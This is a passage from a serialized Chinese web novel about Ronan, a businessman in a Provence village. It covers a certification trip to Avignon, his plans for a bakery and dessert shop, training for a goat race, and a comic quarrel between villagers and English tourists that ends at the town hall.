“今晚有女学生邀请我一起吃饭我都没去,来了罗南家里,我错过了那么多,让我先尝一口怎么了?” “你错过的何止是一个女学生啊——”罗南把一摞盘子放到巴蒂的怀里,示意他拿到外面的餐桌,“一会吃饭的时候我告诉你个秘密。” 强强联合真不是盖的。 普罗旺斯最好的牛肉、罗旺斯最棒的番茄、普罗旺斯最地道的食谱配着普罗旺斯的著名大厨罗南.当普罗旺斯炖肉一端上来,整个后院上空回荡的全部是咀嚼声。 “还要再加一个,最棒的面包。”布鲁诺伸手去拿中棍,“上帝,这面包配普罗旺斯炖肉的汤汁简直太棒了,没有牛肉我都可以连吃三根。” 桑德琳与丈夫的评价一致,她问佐伊: “这面包不是在卢尔马兰买的吧?也不是梅纳村那几家店的味道,你去哪里买的?” 佐伊吃完了盘子里最后一块牛肉,心满意足的说: “不是买的,面包是罗南自己烤的。” 大块头卡福吃的胡子上全部是面包渣子: “外壳脆的像薄玻璃,里面又那么有韧性,像是在吃一片烤香的麦地,我说罗南,你可以考虑开一间面包店了。” 卡福说这话是玩笑,但桑德琳却是认真的,她举起手里的刀和叉子: “我同意!” 罗南笑着摇头: “不了不了,没有那个精力,大家想吃了来我家,我烤给你们吃。” 桑德琳期待看向巴蒂: “巴蒂,你觉得这面包怎么样?” 卡福住阿普特,不了解情况。 但巴蒂,你住卢尔马兰啊,你没有发现卢尔马兰的面包危机吗? 卢尔马兰能不能多出一间面包店,就看咱们几个人了! 可桑德琳的希望落空了,她对巴蒂还是不够了解. 巴蒂对吃的兴趣不大,常年饥一顿饱一顿造成他的味觉也没有那么敏锐。 这一点从他给罗南做老酪锅时像炼丹一样往里面扔吃剩下的香肠、土豆、生菜叶子和西红柿便可以得知。 他认为吃什么都差不多,能填饱肚子足够了。 巴蒂插了一块卡马尔格斗牛放到嘴里,满意的咀嚼: “你们吃那么多面包干什么?多吃点牛肉啊,这东西那么贵,吃完这次不知道什么时候能吃到第二次。” 罗南憋着笑对巴蒂说: “多吃点啊,快快多吃点,我怕一会你就吃不下去了。” 巴蒂嘴巴鼓鼓囊囊的说: “怎么可能吃不下去?今天有多少牛我都能吃了!诶对了,你刚刚是不是说,要告诉我一个秘密?” 罗南耸肩: “就是怕把秘密告诉你,你会后悔的吃不下去。” 巴蒂一副‘那怎么可能’的得瑟表情,指着自己说: “我巴蒂这辈子不懂后悔是什么东西。” 罗南放下叉子,失笑的说: “好,那我就说了啊,前几天我带去编织大院的那两个‘先生’里,有一个是夏洛特·维吉妮。” 听到秘密后,巴蒂像是中邪了一样,围着餐桌一圈一圈的踱步,一边踱步他还一边嘴里念念有词的说些让人听不懂的话。 一会说自己是大傻子,一会说自己疯了。 又过了一会,开始嘀咕那天胡子刮没刮,洗头了没。 大人们知道巴蒂中了夏洛特·维吉妮的‘邪’,但两个孩子不知道。 她们躲在佐伊的身后,怯懦懦的问那个叔叔怎么了,怎么看起来有些吓人呢。 佐伊告诉她们: “巴蒂叔叔牛肉吃多了,变成了牛,牛最喜欢一圈一圈的转了,你们一定不要学他一次性吃太多东西,否则就会像他一样。” “那我如果吃了许多许多的鱼呢?”布鲁诺的小女儿今天怀里抱的是一只黑色短发娃娃。 为了见最喜欢的佐伊姐姐,她给娃娃画了妆,那娃娃整张脸血红血红的。 小女孩抱着娃娃看起来比中了邪的巴蒂还可怕。 佐伊耐心的拉起两个小女孩的手: “我正好知道一个吃多了鱼的小女孩的故事,姐姐带你们去屋里,讲给你们听好不好?” “好耶!” “佐伊对孩子真有耐心。”桑德琳不知第几次称赞,“她看起来很喜欢孩子。” 布鲁诺眉飞色舞的对罗南说: “抓点紧。” 罗南不好意思的摸了摸脑袋。 孩子是‘吞金兽’,生之前得好好赚钱啊。 正好刚刚提到了夏洛特·维吉妮的话题,罗南便正式的给桑德琳和卡福讲了荆棘烈阳认证的情况和其在普罗旺斯的重要性。 听到夏洛特·维吉妮为了这个认证承诺花50万法郎买家具,卡福指着巴蒂说: “要不然等巴蒂状态好一些的时候我们再聊这件事?这个认证看起来非常厉害啊。” 罗南笑着摇头: “没事,这件事对巴蒂的影响不大,主要是你们两个。” 他看向卡福: “荆棘烈阳认证是什么东西你应该清楚了吧?我们要升级销售的话术和推销手段,还要想一套通知老客户的流程和方法,这个任务交给你了。” 卡福郑重的点头: “明天我就去准备,争取在下周你去阿维尼翁之前筹备好。” 之后罗南看向桑德琳: “我们的营销手段和宣传手段也要升级,月底《普罗旺斯艺术指南》发刊,有可能会出现一大批热情的客户,还要重新制定vip制度。” 桑德琳双手抱胸,认真的点了几下头: “我也会在下周三之前把计划做好,让你可以在拿到认证的第一时间联系夏洛特。” 罗南举起酒杯: “加油啊伙计们,希望下次我们几个凑到一起,是为了庆祝卢尔马兰手工艺合作社打响了第一炮。” 巴蒂也挤了进来,和他们一起碰杯。 “诶,你好了?”在一旁的布鲁诺傻乎乎的问。 巴蒂脸笑的像菊花一样: “我听到了,夏洛特还会再来一趟编织大院,这次我必须亲自接待她!” 从马赛回来后,罗南的日子变得清闲了不少。 集市那里有维埃里,刚刚步入社会的小伙子冲劲儿大,尤其他还和伊莎贝尔较着劲.罗南想帮着做点什么都不让。 不过维埃里有每天给罗南‘汇报’的习惯,所以罗南对集市招工的进程了如指掌。 现实给了维埃里一个小小的‘痛击’。 虽然很快凑齐了第一批集市的员工,但他的同学们对集市工作不太热情,发出了不少邀请,答应下来的只有不到三分之一大家不想那么快定下工作,想等等看有没有其他更好的。 维埃里并没有被打击到,说他会想其他办法,之前承诺的小目标没有变化。 编织生意也不需要罗南费心太多,巴蒂、桑德琳和卡福在各自的岗位上都做的非常好,虽然荆棘烈阳认证对巴蒂这里的影响不大,妇女们还是按照原先的节奏干活就好,但为了接待夏洛特,巴蒂把编织大院也升级了一次,一切都往更加‘高端’靠近。 唯一有些闹心的就是松露实验林这边了。 这段日子罗南和费尔南教授的联系非常频繁,他的森林买好了,研究院那边还要走一些流程,而且实验还需要许多准备,两到三周后,教授才能带着学生们来卢尔马兰开展第一轮实验。 在等待的这段日子里,罗南要做实验前的准备工作,例如把原先的树木移植走和土壤清理等等.又花了十几万法郎,把他最后一点老底花了个干干净净。 “钱花的像流水一样。” 存款在一周多的时间从六七十万到只剩六七千,罗南真实的体会了一把心跳的感觉。 每当他紧张和焦虑的时候,会去算算餐厅和编织的账目。 谢天谢地,看到每天的营业额,心情很快就会缓解下来,觉得没有什么过不去的。 不过某一天,罗南在看餐厅账目的时候突然发现了一个问题。 “我们的营业额怎么没有以前高了呢?”罗南拿着账本问母亲冯珍,“这个月的营业额比上个月的少。” 前几天,罗南来看的是这个月的账单,看着上面美丽的数字,他开心极了。 今天没有什么事情,他把前几个月的账本拿出来翻了翻,想要更加‘开心’一些,没想到这么一看又把自己看焦虑了。 这个月的日均营业额居然比上个月少! 虽然少的不多,但这不合理啊。 暑期已经开始,人流量应该更大了才对。 而且餐厅外面排队的人依然那么多,吃饭的人依然那么热情,也没有接到什么投诉.怎么每天收进来的钱却少了? 冯珍摁着计算器说: “我和你爸爸也发现了,我们俩研究了几天,发现是客单价变低导致的。” “客单价变低了?”罗南脱口而出。 冯珍拿了几张客人的点单给罗南展示: “以前大部分来的客人目的是吃饭,你们参加完甜品大赛后,许多人是专程来吃甜品的,客单价就降下去了。” 罗南看完冯珍手里的几张单子,发现果然出现了母亲口中所说的问题。 他们在甜品大赛的表现确实对餐厅起到了宣传作用,让更多的人知道在卢尔马兰有这样一家餐厅,但同时也吸引来了许多只想吃甜品的客人,甜品的价格没有餐食贵,就这样.在每天承载量相同的情况下,客单价变低了。 事实上,罗南在很早之前担心过这个问题,戈尔德系列艺术活动后,他也用甜品吸引来了一批客户,但那个时候罗南观察了一阵子,发现客单价的变化并不大,所以他理所当然的认为,这次用甜品吸引来的客人依然不会对客单价有太大的影响。 但他忽视了,艺术毕竟是小众的,戈尔德带来的影响只有那一小批人,而艾克斯的活动是面向大众的,群体的基数完全不同,这一点还体现在近期莉亚的甜品小队忙的不可开交,一连加入了两个人力进去才勉强能应付。 见罗南一脸严肃,冯珍指着外面等位置的客人安慰他: “你们的策略绝对没错,你可千万别自我怀疑,这只是一个暂时的小问题,看见没有,外面排队的人越来越多了,等咱们的新店开起来,这些问题都能迎刃而解,你别担心啊儿子。” 罗南停止了思考,回过神来点了点头: “你说的对,这只是暂时问题。” 时间转瞬即逝。 很快到了约定好要去阿维尼翁拿认证的日子。 罗南没有独自前往,艾利安说基金会的人会在现场说许多注意事项,他认为F4都该去听听。 除了巴蒂、卡福和桑德琳这三位骨干,罗南还把阿克尼娜和约瑟芬带去了。 约瑟芬从来没有独自离开过卢尔马兰,甚至连生人都很少见到,亨利担心妻子在外面说错话办错事,主动来找了一次罗南: “罗南先生,不要带着约瑟芬,她什么忙都帮不上,甚至还可能给你添麻烦!你们自己去阿维尼翁就好了!” 罗南对亨利解释,同时也是在给他身后的约瑟芬安慰: “基金会肯定的是妇女们,不是我、巴蒂、卡福或者桑德琳中的任何一个人,作为妇女代表,约瑟芬应该去现场,而且这不是什么帮忙.这是她们该有的荣誉。” 第518章 第三间店铺 阿克尼娜和约瑟芬很少有机会离开卢尔马兰,开车的罗南猜,两位妇女在去的路上一定会异常的兴奋。 可他打死也想不到,这一路上最兴奋的人居然是从巴黎来的桑德琳。 “我昨天已经查好了黄页,基金会所在的区域内有五家面包房。”桑德琳兴奋的不停念叨,“罗南,我们取完认证你把我放到面包房门口,我要买点面包再回去。” 罗南哭笑不得的答应了下来。 看来面包短缺危机已经给桑德琳的生活造成了严重的影响,来阿维尼翁都不忘买面包回去。 “阿维尼翁真是大地方,面包房都有5个。”约瑟芬看着窗外的城市风景,羡慕的说着。 桑德琳笑着解释: “这只是一小片区域呢约瑟芬,阿维尼翁记录面包房的那一张黄页上有满满半张纸,至少有几十个。” “那么多面包店吗?”约瑟芬吃惊的问。 巴蒂加入女人们的话题: “约瑟芬,阿维尼翁可是沃克吕兹省的首府城市,人口和规模是卢尔马兰的几十倍。” 桑德琳摇着脑袋说: “卡瓦永只比卢尔马兰大两倍,但电话黄页上列出了17家面包店!” 巴蒂哈哈大笑着问: “你到底看了多少黄页?” 罗南也忍不住插嘴: “你说的2倍是面积,但卡瓦永的常驻人口多啊,有上万人了。” 桑德琳拍了拍驾驶位的座椅,对罗南说: “我认真的罗南,别管卡瓦永有多少常住人口,来卢尔马兰旅游的人也不少啊,卢尔马兰的规模和面包店数量严重不成正比,一定有许多人在打开面包店的主意,这是个商机” 阿克尼娜看着桑德琳的侧脸说: “听说新的商业街上要开两家面包房。” 卢尔马兰目前已经找不出可以开新店铺的地方,所有新的商铺都将在秋季竣工的两期商业街上。 “哎呀——”桑德琳遗憾的坐了回去,“罗南,有人抢在你之前行动了。” 这次罗南没有反驳,斟酌了几秒回复: “我再考虑考虑。” 为了感谢两位妇女代表在卢尔马兰编织事业起步阶段做出的巨大贡献,罗南将阿克尼娜和约瑟芬一起带到了阿维尼翁。 约瑟芬在紧急时刻‘挺身而出’,和巴蒂一起教编织,让圣诞花环打开了第一次的销路。 在妇女们热情的投入到这项新的手工业生态时,阿克尼娜的威严稳固住了卢尔马兰的秩序,让编织业务可以平稳顺畅的发展至今。 她们同样是卢尔马兰手工艺合作社的‘大英雄’。 而荆棘烈阳认证所肯定和鼓励的,正是像她们这样的女性。 罗南这个暖心的举动,使得普罗旺斯妇女基金会的工作人员对他们一行人表现出了更加诚恳的态度和热情。 尤其在授予认证环节,罗南鼓励两位妇女过去接下证书这让基金会更加认同了卢尔马兰手工艺合作社和罗南的态度——他们是真的尊重妇女们的感受,不是装装样子。 看出两位卢尔马兰妇女在陌生的环境中很拘谨,基金会贴心的安排了年龄相仿的工作人员带她们参观基金会的小型展览区,那里有许多妇女通过双手改变命运的成功案例。 与此同时,另外一组工作人员和罗南几人讲起了认证注意事项和后续抽查制度。 “这张实体证书可以挂在合作社里比较显眼的位置,我看其他工坊都是这样做的。”工作人员细心的解释,“未来你们制作的家具可以打上荆棘烈阳的纹样了,不过对位置有要求。” 她拿出了一个小册子: “详细例举出你们所制作家具的类型,不同家具的纹样位置要求不同,如果放错了位置是要罚款的。” 认证后的使用规范相当严苛,不仅规范了纹样在不同家具上的出现位置,对大小和尺寸也有要求。 怕罗南等人不把这件事放在心上,基金会的人给他们举出了血淋淋的反面教材——这个月在阿维尼翁的一个工坊内,工人将本该出现在皮具内部的纹样印在了皮具的外部,被发现后的处罚是停用认证长达半年之久。 “半年要损失多少啊.”工作人员苦口婆心的嘱咐罗南几个人,“一切按规矩办事,千万不要跟钱过不去。” 工作人员讲注意事项的同时,罗南也在认真记录,他猛猛点头: “您放心,我们一定会按照规矩做事。” 桑德琳对认证使用规范有一定的了解,她提问道: “我们是不是还需要一个防伪编码?” 将来每一件带荆棘烈阳认证的家具,会配套一个防伪编码,客户可以根据这个编码来认证家具是不是正品。 那名工作人员合上小册子: “许可编码申领是年审制度,每年发放一次,我们会根据你们提交申请中的数量和品类给予编码,PS-87-xxxx的结构,PS是普罗旺斯大区,87是年份。” “现在可以提交申请吗?”罗南继续问。 那工作人员点头: “可以,一会我给你申请书,你填好再交300法郎使用费,过几天来取。” 巴蒂主动承担下来这个任务: “一会我和罗南看看怎么写。” 又讲了一些注意事项和使用规范后,那名工作人员严肃的说: “基金会会对你们所制作的家具进行每个季度最少三次抽查,质量问题、认证纹样位置偏移、私拓编码或使用电动工具都会遭受严厉的处罚,最严重的会提前撤销认证,还有一点请注意,认证标志严禁在电视上打广告使用,杂志和线下海报上可以出现,记住了吗女士先生们?” “记住了。”四个人同时点头。 那名严肃的工作人员讲完了所有,表情终于缓和了下来: “期待你们在卢尔马兰的表现,也希望卢尔马兰能出现更多像你们一样的人。” 正事办完了,卡福、巴蒂和桑德琳也去了展览馆看影像资料,他们想知道普罗旺斯还有哪些著名的品牌和工坊得到过荆棘烈阳认证,看是否能从中找到些什么启示。 罗南没有着急过去,而是向那名工作人员咨询起了其他的事情: “请问,如果不是手工作坊,而是其他品类的店铺,但里面大部分是女性员工.可以申请荆棘烈阳认证吗?” 那名工作人员为难的说: “抱歉亲爱的,荆棘烈阳认证是针对手工艺的认证体系,其他的品类恐怕不行。” 罗南喃喃自语: “不行吗” 在一个大喘气过后,那名工作人员继续说道: “不过除了认证,我们还可以提供其他的帮助,普罗旺斯妇女基金会的职责所在是鼓励女性走出家门、经济独立,我能问问,你口中的其他品类商铺是什么吗?” 种种表现证明罗南是一个尊重女性的人,这位基金会的工作人员很愿意和他探讨除了卢尔马兰手工艺合作社之外的业务。 在一个短暂的停顿后,罗南才开口: “是甜品烘培店,里面会卖面包、特色点心和甜品,不过这只是一个思路,能不能落地还没有谱呢。” 事实上,罗南已经思考了好几个月,新商业街上的第三个店铺要开什么的问题了。 餐厅和编织旗舰店都是早早确定的事情,唯独第三间开什么,他还没有什么思路。 不过最近这段日子,他终于找到一些方向了。 目前来餐厅吃饭的客人两极分化严重,有的是专门来吃饭的,有的就是奔着甜品来的。 虽然开了第二家餐厅,可以在一定程度上解决这个问题,但客单价变低是一个不争的事实。 既然这样不如专门开一家吃甜品的店铺把两部分客户区隔开? 这个想法出现后,罗南也是一阵犹豫。 布兰科一定会给罗南三间位置最好的店铺,其中一家做成甜品店有点‘小题大做’了。 甜品店客单价低,翻台率也低,很多游客一块蛋糕一杯咖啡可以坐一整个下午,营业额定然达不到预期。 这个时候,他又想到了桑德琳的需求——面包店。 在提供甜品的同时,再拿出一些空间卖面包,为面包而来的食客买完就走,也占不了什么位置.营业额肯定能提升了吧? 卢尔马兰现在正在闹‘面包短缺’危机,而罗南参加面包大赛时推出的面包款式也迟迟没有找到合适的售卖途径,不少吃过的食客苦苦等待再次吃到它们的时机。 他脑袋里有‘菜谱’,莉亚懂普罗旺斯口味,他们两个人合力,无论是当地传统面包还是创新面包都能做出许多亮眼的东西,风格鲜明。 至于商业街上即将新开的另两家面包店.罗南一点都不担心。 除了甜品和面包,他还有一个武器,别说在卢尔马兰,就算是在普罗旺斯都是独一份的,那便是可以规模化售卖的中式糕点、果子甜品和最近人气高涨的熔岩巧克力等等. 如果一切能够按照预期发展,罗南觉得这事完全可行。 但第三个甜品店铺落地的前提是——要解决人力短缺问题。 他们要做面包,要做甜品,还要做各种糕点和巧克力,可想而知这个甜品烘培店的规模一定是巨大的。 这么大的店铺,员工从哪里来呢? 而且这不是普普通通的工作,需要一定技术功底,对员工的要求比集市高了不知道多少。 招聘集市员工都那么困难了罗南担心这个想法很难落地。 基金会工作人员的话打断了罗南的思绪。 她语气激昂的回: “普罗旺斯甜品烘培行业以男性为主导,绝大部分是女性员工的甜品店会非常有突破性,我们应该会给予一定支持.但你能找到可以撑得起这间商铺的女性甜品师吗?” 罗南暂时放下了心中一桩桩烦心事,回复道: “吕贝隆第一位拿到cap证书的女性甜品师就生活在卢尔马兰,这一点倒是不用担心。” 工作人员的眼睛一下子亮了起来,卢尔马兰有这么多厉害的妇女? “我们讨论一下,有了结果第一时间联系你。”这不是这位工作人员能马上决定的事情,不过介于卢尔马兰手工艺合作社的情况,她相信这件事有很大成功概率,“相信我,应该会是个好消息。” “那就太感谢你了。”罗南最后又补了一句,“目前这个甜品烘培店最大的困难在人力问题上,很难在短时间内找到这么多合适的妇女,如果可以的话,希望您能帮我解决一下这个问题。” 从普罗旺斯妇女基金会离开,罗南先是带桑德琳买了一大袋子面包,又开车找了个好餐厅请大家吃了顿好的。 约瑟芬激动坏了。 她上一次在卢尔马兰之外的餐厅吃饭,还要追溯到和亨利去马赛拍婚纱照那次。 “那是20年前了吧?”巴蒂默默计算了一下,随后阳光灿烂的说,“亲爱的约瑟芬,以后我会常带你出来吃饭,带你们所有人一起,我们也需要有团建的日子。” 约瑟芬紧张的抓住衣服下摆: “不用不用,我们现在已经很好了。” 虽然她不懂什么是‘团建’,但结合语境不难猜出那一定是要花好多钱的事情,因为她看到这家餐厅菜单上的每一道菜后面都是一串很长的数字。 罗南笑着对巴蒂说: “团建当然要有,这是员工的权利,你看看是以月为单位,还是以季度为单位,组织她们去餐厅聚一次餐,再每半年带她们出去散一次心,不能总待在院子里。” 以前按件计费,不用想那么多事。 现在这些女工是卢尔马兰手工艺合作社的正式员工,该有的员工福利还是不能落下的。 带妇女出去玩的活儿,巴蒂想想就激动: “好好好,我马上就安排这个月的聚餐,至于出去玩.还是等旅游季结束吧,游客在,单子就多,停下来耽误事。” 卡福两条树根粗的手臂交迭在一起,笑着打趣: “说什么话呢,咱们合作社有什么旅行季,一年四季都是旺季。” 罗南笑容灿烂的说: “还是卡福会说啊,不愧是当销售的,那就借你吉言,咱们手工艺合作社一年四季都是旺季!” “这可不是开玩笑——”卡福放下胳膊,认真的说,“你没看到吗?拿到荆棘烈阳认证都是些什么工坊?全部是在普罗旺斯赫赫有名的。” 罗南和基金会的人聊甜品烘培店的事情,没有好好逛照片展示区,还真不知道拿到认证的都是什么工坊。 “那么夸张吗?”罗南半信半疑的问。 在场年纪最大,也是最有威严的阿克尼娜肯定的说: “卡福没有夸张,基金会的人给我们讲解时也说了类似的话,她说拿到荆棘烈阳认证的工坊全部成为了普罗旺斯的‘明星’,还恭喜我和约瑟芬呢。” 罗南激动的拍了下桌子: “你们怎么不早说啊,服务员,再拿两瓶酒!” 说完他看向卡福、巴蒂和桑德琳: “展开讲讲,还有哪些工坊拿到认证了?” 巴蒂伸手对服务员打了个响指: “拿最好的酒啊。” 约瑟芬心疼的想要劝说巴蒂别让罗南先生花钱了,桑德琳笑着制止她: “别担心约瑟芬,罗南马上就要成为比现在还要富有的有钱人了。” “而且是比现在富有好几倍。”卡福幽默的补充,“说不定罗南都可以买下一整条商业街了。” “我说你们别开玩笑了,说正事,还有哪些工坊,我们能从中借鉴什么?”罗南严厉的谴责他们。 “那也要等酒来啊。” “有酒聊起来才开心。” “罗南,你家冰箱里还有卡马尔格斗牛吗?中午聊不完咱们晚上继续” 阿克尼娜拉住约瑟芬的手,两位妇女幸福的相视一笑。 这一切太美好了。 谁能相信一年前还在家里省吃俭用、连灯都不舍得开的她们,今天能坐在阿维尼翁的高档餐厅里? 而且这还不是幸福的上限。 因为面前的几个孩子还在聊着可以让未来变得更加美好的事情。 第519章 最新一轮英法战争 从阿维尼翁回来后的那几天,罗南过的相对悠闲和惬意。 除了处理一些突发的小事件,绝大部分精力都放在准备即将到来的‘山羊赛跑’大赛上。 每天的两次长距离越野跑距离越来越远,这使得罗南自信的认为,也许在他众多头衔之中可以再多出一个——普罗旺斯著名长跑运动员。 当然了,长时间相处使得呼呼和罗南之间的关系也是愈发的默契,最开始是呼呼拖着罗南跑,前面的羊根本不管后面人的死活,绳子脱手,四处找羊的事情时有发生。 时间长了,再加上罗南温柔的态度,使得呼呼开始慢慢在意身后人的死活,现在罗南已经可以做到握着绳子全程跟跑,像去年呼呼上一任主人那样,在第一个弯道就被甩飞出去的事情肯定不会发生。 罗南对最近的特训效果非常满意,别管最后成绩怎么样、能拿第几,总之跑完全程没有什么问题了。 来普罗旺斯过夏季的游客数量连年突破新高,各类地方活动和赛事也办的更加如火如荼,罗南最近没有去博尼约,不过听去过的村民说,大概在半个月前,博尼约就已经变成了‘羊城’。 街边商铺的橱窗里全部是穿着裙子和衬衣的羊模特,运动场墙壁上的品牌涂鸦被一只只举着杠铃、长满肌肉的羊取代,下面的宣传语也变成了‘人人都可以练出健硕羊腿’。 从肉铺到小摊位,从海报到包装纸,在博尼约的各个角落都能看到拟人化的羊元素,兴高采烈的山羊,开怀大笑抱着小羊的羊妈妈、眉开眼笑的小羊崽,挤眉弄眼的羊老板,呵呵傻笑的大傻羊.无不在提醒路过的游客——历经百年的普罗旺斯传统比赛即将开始! 罗南听到橱窗里穿着衣服的羊模特的消息,想到了要给呼呼做‘战衣’的问题。 去年呼呼虽然只拿到了倒数第一的名次,但它的服装搭配绝对是选手中最成功的,那一身红衣服和黑帽子让佐伊一眼就注意到了这个‘浪荡不羁’的花花公子。 冯珍不擅长针线活,罗南便找了村里的其他女性帮忙给他和呼呼做一身‘亲子装’。 妇女们热情的不得了,她们给人做了一辈子衣服,还是第一次给羊做衣服,尤其罗南还要求按照呼呼的款式给自己也做一身,这可太有意思了。 这个需求一传十,十传百,比赛只有一天,但妇女们设计出来的款式够罗南和呼呼比到下个月不重样了。 “呼呼穿红的好看?但罗南穿红的显黑啊,我给他们做一身红黑条纹的怎么样?” “那么热的天,黑色多热,要我说做白色的,白色显得精神。” “但白色太容易脏了,你没去看过比赛吗,全程摸爬滚打的,比完跟泥人一样,我还是给他们做一身好清洗的吧,对了,再做个帽子,罗南说了,呼呼去年戴帽子了,咱这么多人,还能不如呼呼前一任主人准备的充分?” 给罗南和呼呼做亲子装的事,成为了卢尔马兰最近这段时间的热点话题,但凡村民在路上碰到,都得聊两句最近听到和看到了什么离谱的设计。 某一天中午,康奈尔在老酒馆碰到了罗南: “罗南,你敢信吗?波热说要给你和呼呼做比基尼,让你们还没比赛就先赢下,这太吓人了!” 在一旁的皮埃尔哈哈大笑着点评: “是法比安出的馊主意吧?这家伙说比赛那天要去买500法郎罗南赢,穿上比基尼的罗南肯定没有什么人投注,可以拿到比较高的倍率。” 山羊赛跑比赛期间,整个博尼约会有大大小小无数个盘口关注这项赛事,连主办方都会组织游客下注,去年罗南和朋友们也集资参与了。 “才买500法郎?”康奈尔放下帽子,敲着桌子说,“我要买2000法郎,买2000法郎罗南第一!你这么说也有道理.那我也让我妈妈设计一身‘与众不同’的。” “你们对我这么有信心吗?”罗南笑着问几个农夫朋友,“我的目标是跑完全程,对名次没有任何的预期。” 皮埃尔拿起酒杯,佩服的说: “别管最后拿第几,就凭你这越来越黑的皮肤我也要买你第一。” 夏天多热啊,罗南还是坚持练习了一个月没有停息。 黝黑的皮肤就是罗南努力的证据! 这份认真值得鼓励!! 康奈尔看着罗南的脸说: “罗南,你去年刚来卢尔马兰的时候可白了,现在比去年黑了不止两个色号。” 罗南摸了摸自己的脸,心想我脸现在有那么黑了吗? 下一秒,亨利慌张的跑进老酒馆,说出口的事情让罗南的脸彻底黑了: “罗南先生,您快去一趟政府大楼吧,特奥和游客吵起来了,闹去政府了。” 人多的地方就会乱。 游客多的地方,难免有纠纷。 去年卢尔马兰还没有那么多游客来的时候,托尔就能看游客吵架看整整一天,现在卢尔马兰成为了‘新的艺术之乡’,每天难免会有几次口角发生。 有可能是游客之间,也有可能是游客和本地人之间但闹到政府去的并不常见。 特奥现在是斯特斯加的员工,他出了事儿,自然要通知罗南去‘捞’人。 罗南一脸严肃的跟着亨利去了政府大楼,见到了特奥和那名游客,听完两个人描述的冲突过程晒黑了好几个色号的脸都笑红了。 在特奥那张嘴的监督下,政府在六月中旬提前完成了斯特斯加的仓库建设,最近正在做最后的验收。 连续三个多月每天拿小皮鞭监督工人干活,阶段性完成目标后,特奥过了两天清闲的日子。 白天出去喝喝酒,没事在街上闲逛两圈,再去围观围观村里发生的热闹新鲜事儿.没想到把自己给搭进去了。 冲突的另一方是一名英国游客,而事实上最一开始和这人发生冲突的并不是特奥,而是卢尔马兰的另一家餐厅老板儒勒。 起因是这名游客看到儒勒餐厅菜单上的羊肚和羊蹄,和同行的友人讽刺说法国人是‘青蛙’,因为青蛙什么都吃。 众所周知,英国人和法国人是最好的朋友。 听到好朋友这么评价自己,儒勒自然要去‘夸赞’几句,一来二去就吵了起来,但那个时候冲突还可控,但路过的特奥加入后,事情就一发不可收拾了。 特奥的女儿安娜最爱吃的就是羊肚,听到有人如此讽刺这道美食,他那抹了蜜的小嘴自然不会放过对方。 虽然已经来了政府大楼,还惊动了罗南和布兰科二人,但两方的口角之争还在继续。 “我说错了吗?法国人不是什么都吃吗?‘青蛙’就是骂你们?但我记得你们连青蛙都吃啊。”那名英国游客继续嘲讽,“还是说,你认为青蛙是垃圾食品?可它就是会出现在你们的餐桌上。” 特奥斜靠在会议室的桌子上,皮笑肉不笑的说: “我记得你们英国有一道菜叫‘洞中蟾蜍’,你们连癞蛤蟆都吃,我们吃青蛙怎么了?” 那名英国游客脸红脖子粗的说: “‘洞中蟾蜍’不是真的吃蟾蜍,而是用鸡蛋和牛奶裹上香肠肉,没有见识的家伙!” “我知道。”特奥吊儿郎当的拿出一根烟,“真的癞蛤蟆比那可好吃多了,你们英国人没有这种口福。” “你——”游客气的浑身发抖,脸更像煮熟的龙虾了。 特奥很满意对方这幅气急败坏的样子,点燃了香烟,慢条斯理的说: “你们英国人就是嫉妒,上帝把所有好东西都给了法国,地中海,大西洋,山脉,肥沃的山谷,南部的阳光,浪漫的冬季,最好听和优雅的语言,最好吃的黄油和橄榄油,世界上品种最丰富、最多产的葡萄酒庄,比三百六十五天还要多的奶酪品种.而你们英国有什么呢,请问?” 特奥的话将对话气的哑口无言,那名游客的朋友终于忍不住出来助攻了: “是啊,所以为了弥补这份不公平,上帝又创造出了法国人!” 看英国一方居然出现了帮凶,围观的法国群众激动坏了。 我们早就想要加入战斗了好不好! 皮埃尔、特奥、亨利.几个嘴臭的家伙一股脑的向对方发起冲锋,几个英国游客被气得差点犯心脏病。 坦白讲,如果这人不是特奥,那人也不是游客,罗南真想坐到椅子上慢慢听,这可比法国一台播出的节目有意思多了。 但身份和立场告诉他,这件事该适可而止了。 “好了,都停下吧。”罗南叫停了卢尔马兰这一方。 温和的布兰科也安抚住了英国游客的情绪。 两个人互相打着配合,十几分钟后,这场英法之间的新一轮战争终于落下了帷幕。 特奥被人拉去继续喝酒。 英国游客被希尔维安排的导游带去看喷泉了。 人群散去之后,布兰科无奈的对罗南说: “快给特奥安排些活儿干吧,让他少去看点热闹。” 罗南无辜的平摊双手: “这可不能怪我,是你们找的工人太给力了,提前完成了仓库。” 布兰科装作生气的问: “提前完成还不好吗?” 罗南与布兰科并肩而行,询问道: “好好好,当然好了,不过仓库建设的这么快,商业街那边的进度怎么样了?” 他需要商业街上的新餐厅承接等位的游客。 卢尔马兰手工艺合作社也急需一个正式的大型店铺。 布兰科把手背在身后,笑着说: “第二批预算使得进度都提前了,再等两个月应该就可以竣工,抓点紧10月份就能开起来,不过旅行季肯定是赶不上了。” 罗南无所谓的说: “没关系,我的餐厅就是在去年旅行季结束之后开业的,正好可以用冬季的那几个月时间磨合团队和查漏补缺,以最好的状态面对明年的旅行季。” 许久未见,罗南的心态依旧这么好,布兰科对此非常满意,他贴心的说: “遇到什么问题,随时来政府找我,我办公室里的粉红酒还没喝完呢。” 罗南停下脚步,扭头对他说: “实不相瞒,我还真有些棘手的问题。” 布兰科也停下来,认真的问: “什么问题?” 罗南叹气: “人力问题,现在招员工太困难了,一想到有三个店铺要面临招工我就头疼。” 这应该不是布兰科第一次听到村民抱怨这个问题,他已经有所准备: “我们目前还抢不过梅纳村和博尼约,但我相信这个问题随着卢尔马兰一步一个脚印的发展慢慢会解决的。” 见罗南要张口说些什么,布兰科做了个双手下压的手势,示意他别着急: “我知道这需要不短的时间,不过短时间内也有解决的契机,我应该和你说过吧?卢尔马兰的新扩建区域要设立一所技术型高中,等这所高中建成,本地的人力短缺问题应该能得到一部分缓解。” 罗南摇着脑袋说: “高中明年才能开始招生吧?等那批学生毕业要三年之后了。” 布兰科先是一愣,随后想到了什么,给罗南解释: “每个地区的教育政策和制度都不太一样,你可能不太了解普罗旺斯这边的规矩,普罗旺斯的技术型高中可以实行‘校地双轨制’,课堂和产业咬合的非常紧密。” 见罗南一脸不理解,布兰科详细的展开: “比如卡瓦永那边的技术型高中,他们的农业机械专业会和卡瓦永甜瓜合作社紧密联系,学生有三分之一课时是在合作社度过的,在瓦朗索尔学习农业的学生会去蒸馏厂实践你现在应该我说的意思了吧?” 罗南一阵错愕。 那不就是说.这些高中生可以进厂打工? 但是—— “但卢尔马兰的技术型高中要开设什么学科呢?”罗南好奇的问。 学科和产业结合上,才能解决人力问题。 布兰科脱口而出: 